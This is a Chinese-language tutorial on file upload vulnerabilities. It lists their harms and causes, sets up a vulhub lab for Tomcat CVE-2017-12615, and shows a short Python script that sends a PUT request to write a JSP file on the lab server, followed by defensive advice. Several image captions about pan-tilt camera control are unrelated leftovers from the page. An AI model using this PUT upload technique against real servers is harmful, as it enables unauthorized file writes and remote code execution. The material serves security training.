什么是 文件上传 漏洞

文件上传漏洞是一种常见的 Web 应用程序漏洞,它发生在应用程序允许用户上传文件时。这种漏洞可能会给系统带来严重的安全隐患。


目录:

什么是 文件上传 漏洞

Python 编写渗透测试基础:

文件上传漏洞的主要危害包括:

造成这些问题的主要原因是:

靶场的开启(文件上传漏洞):

(1)靶场的搭建:

(2)查看目录:

(3)启用 vulhub 漏洞:

(4)进行浏览:主机的 8080 端口.

编写 文件上传 数据包(传入一个文件测试):

(1)数据包的分析:

(2)编写的代码:

防范文件上传漏洞,关键是在应用程序中实现严格的文件上传控制机制包括:


Python 编写渗透测试基础:

(1)漏洞发现和利用走的是什么协议.

(2)编写难度是根据协议和探针利用复现复杂程度决定的.

例如:
    mysql类型的漏洞复现漏洞 
    大部分都是在mysql里面进行python写这个漏洞利用 
    是不是也要用到mysql的库来进行连接 后续操作 复现一致

文件上传漏洞的主要危害包括:

(1)远程代码执行:攻击者可以上传恶意脚本文件(如 PHP、ASP 等),并在服务器上执行任意命令。

(2)敏感信息泄露:攻击者可以上传包含敏感信息的文件,如数据库备份、配置文件等。

(3)系统权限提升:攻击者可以上传木马程序,获取服务器的管理员权限。

(4)服务器资源占用:攻击者可以上传大文件,耗尽服务器存储空间。

(5)跨站脚本攻击(XSS):攻击者可以上传包含恶意脚本的文件,当其他用户访问该文件时,脚本会在用户浏览器中执行。

造成这些问题的主要原因是:

(1)缺乏对上传文件的类型、大小、路径等的严格限制和检查。

(2)缺乏对上传文件的安全性检查,如病毒扫描、恶意代码检测等。

(3)上传目录权限设置不当,导致攻击者可以访问和执行上传的文件

靶场的开启(文件上传漏洞):

(1)靶场的搭建:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场


(2)查看目录:

(1)cd vulhub
 
(2)ls

python发送数据控制云台转向_网络



(3)启用 vulhub 漏洞:

(1)cd tomcat                       // 切换到对应的漏洞目录.
 
(2)cd CVE-2017-12615               // 切换到对应的漏洞版本.

(3)docker-compose build           // 建立容器

(4)docker-compose up -d           // 启用漏洞环境.

(5)docker ps                      // 查看环境运行状态


python发送数据控制云台转向_网络安全_02

python发送数据控制云台转向_web安全_03


(4)进行浏览:主机的 8080 端口.

python发送数据控制云台转向_网络安全_04


编写 文件上传 数据包(传入一个文件测试):

(1)数据包的分析:

python发送数据控制云台转向_网络_05


(2)编写的代码:

import requests     # 导入模块

url="http://172.16.10.19:8080/2.jsp/"           # 上传的文件路径.

data='shell'              # 要上传的内容.

header={               # 数据包中的头部
    "Accept": '*/*',                 # 使用''号把 头部 固定好
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length':'5',
}


requests.put(url,data=data,headers=header)     #使用 put() ,是模拟数据包的.(去请求)
# 上传的链接 + 上传的内容 + 数据包的头部

python发送数据控制云台转向_网络_06

python发送数据控制云台转向_python发送数据控制云台转向_07


防范文件上传漏洞,关键是在应用程序中实现严格的文件上传控制机制包括:

(1)限制允许上传的文件类型、大小和路径。

(2)对上传的文件进行安全性检查,如病毒扫描、代码分析等。

(3)将上传文件存储在专用的安全目录,并设置正确的权限。

(4)使用白名单机制来限制可上传的文件类型。

(5)对上传的文件名进行合法性检查和处理。

   

   

   

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili